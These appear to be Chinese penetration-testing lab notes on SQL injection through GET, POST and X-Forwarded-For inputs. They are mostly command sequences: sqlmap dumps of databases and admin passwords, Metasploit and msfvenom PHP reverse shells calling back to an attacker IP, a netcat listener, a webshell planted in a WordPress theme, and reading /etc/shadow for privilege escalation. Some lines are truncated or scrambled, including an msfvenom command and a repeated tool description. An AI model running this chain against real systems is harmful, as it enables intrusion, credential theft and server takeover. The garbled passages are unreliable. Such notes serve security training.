SQL注入漏洞介绍
- SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行sQl语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
- SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;
SQL注入GET参数
- 信息探测
- 扫描主机服务信息及服务版本: nmap –sV 靶机IP地址
- 快速扫描主机全部信息: nmap –T4 –A –v 靶机IP地址
- 探测敏感信息: nikto -host http://靶场IP地址:端口
- 发现网站用户登陆后台地址,浏览器打开,尝试弱口令登陆,发现无法登陆
- 漏洞扫描
- web漏洞扫描器owasp-zap:OWASP ZAP攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助您在开发和测试应用试人员进行人工安全测试的优秀工具。程序过程中,自动发现web应用程序中的安全漏洞。另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。
- 漏洞利用
- 使用sqlmap利用sQL注入漏洞
- -- sqlmap -u ‘’网页地址‘’ --dbs 查看数据库名
- -- sqlmap -u ‘’网页地址‘’ -D “数据库名” --tables 查看对应数据库中的数据表
- -- sqlmap –u ‘’网页地址‘’ -D “数据库名” -T “表名” --columns 查看对应字段
- -- sqImap –u ‘’网页地址‘’ -D “数据库名” -T “表名” -C “列名” --dump 查看对应字段的值,回车两个都选y,获得管理员账号密码,网页直接登陆
- 上传shell反弹权限
- 攻击机启动监听
- msf > use exploit/multi/handler
- msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
- msf exploit(handler) > set lhost攻击机lP地址
- msf exploit(handler) > set lport 4444
msf exploit(handler)> run
生成反弹shell
msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址lpor
将后缀名php改为PHP,上传并访问该网址,获得反弹shell
也可以直接尝试 sqlmap -u url -os -shell 直接获取shell
总结
nmap-sqlmap-获得登陆账号-登陆后台-发现上传漏洞-上传shell-执行shell-获得权限
SQL注入POST参数-注入HTTP报文
- 信息探测
- 扫描主机开放的全部端口:nmap -T4 -p- 靶场IP地址
- 快速扫描主机全部信息: nmap -T4 –v –A 靶场IP地址
- 发现8080,443,80端口开放,可以使用HTTP探测工具进行探测
- 探测靶场机器敏感文件目录-- nikto -host http://靶场IP地址:端口
- 暴力探测敏感文件目录 -- dirb http://靶场lP地址:端口
- 漏洞扫描
- 尝试owasp发现漏洞
- web漏洞扫描器owasp-zap:OWASP ZAP攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助您在开发和测试应用试人员进行人工安全测试的优秀工具。程序过程中,自动发现web应用程序中的安全漏洞。另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。
- 没有发现漏洞
- 尝试使用SqlMap进行探测
- 使用burpsuit进行抓包,输入简单密码尝试登陆,保存抓到的报文到桌面request.raw里面
- 使用sqlmap利用sQL注入漏洞
- -- sqlmap -r request.raw --level 5 --risk 3 --dbs --dbms mysql –batch 探测数据库有哪些数据表
- -r request.raw 代表抓取HTTP报头
- -level 5 -risk 3 使用最大限度,最高水平SQLMAP进行检测,最高风险发送数据
- --batch 不在询问其他内容,如需要自动补齐
- -- sqImap -r request.raw --level 5 --risk 3 -D 数据库名 --tables --dbms mysql –batch 查看对应数据库中的数据表
- -- sqImap -r request.raw --level 5 --risk 3 -D 数据库名 -T 表名 --columns --dbms mysql –batch 查看对应字段
- -- sqlmap -r request.raw --level 5 --risk 3 –D 数据库名 —T 表名 -c 列名 --dump --dbms mysql –batch 探测字段的数值
- 得到wordpress的登陆账号密码
- 上传shell反弹权限
- 方法一:
- 攻击机启动监听
- msf > use exploit/multi/handler
- msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
- msf exploit(handler) > set lhost攻击机lP地址
- msf exploit(handler) > set lport 4444
- msf exploit(handler)> run
- 生成反弹shell
- msfvenom –p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw >/root/Desktop/shell.php
- 将后缀名php改为PHP,上传并访问该网址,获得反弹shell
- 方法二:
- -- webshell获取
- /usr/share/webshells/php/
- 启动监听
- nc -nlvp port
- 启动终端
- python -c "import pty;pty.spawn(/bin/bash')”
- 执行shell,获取反弹shell。
- http://靶场lP地址:端口号/录/wp-content/themes/主题名/404.php
- 提权
- --使用cat /etc/shadow cat/etc/passwd 查看敏感文件
- --使用su-提升root权限
- 总结;
- 使用nmap扫描探测,发现HTTP开放-尝试owasp分析,没结果,-尝试SQLMAP分析-brupsuit抓包-sqlmap注入-得到wordpress登陆密码-进入系统-上传SHLL,两种方法-提权
sql注入(X-Forwarded-For)
- 信息探测
- nmap扫描
- 探测HTTP敏感信息
- 探测靶场机器敏感文件目录-- nikto -host http://靶场IP地址:端口
- 暴力探测敏感文件目录 -- dirb http://靶场lP地址:端口
- 探测靶场机器敏感文件目录-- nikto -host http://靶场IP地址:端口
- 暴力探测敏感文件目录 -- dirb http://靶场lP地址:端口
- 发现后台尝试弱口令,失败
- 漏洞扫描
- 漏洞扫描器AVws—windows平台
- 介绍:专注与WEB漏洞的一个扫描器,更新快,集成全
- 设置扫描靶机IP,点击SCAN,其他不用设置,最后设置生成developer报告
- 发现SQL注入漏洞,X-fprwarded-For漏洞
- 漏洞利用
- 使用sqlmap利用sQL注入漏洞
- -- sqlmap -u url -headers= "x-Forwarded-For:*” --dbs --batch 查看数据库名
- -- sqlmap -u url -headers= "x-Forwarded-For:*” -D “数据库名” --tables --batch 查看对应数据库中的数据表
- -- sqlmap -u url -headers= "x-Forwarded-For:*” -D “数据库名” –T “表名”--columns --batch 查看对应字段
- -- sqlmap -u url -headers= "x-Forwarded-For:*” -D “数据库名”-T “表名” –C “列名” -dump –batch 查看字段内容
- 获得用户账户密码,登陆后台
- 只要是用户可以输入的位置都是有可能存在注入点的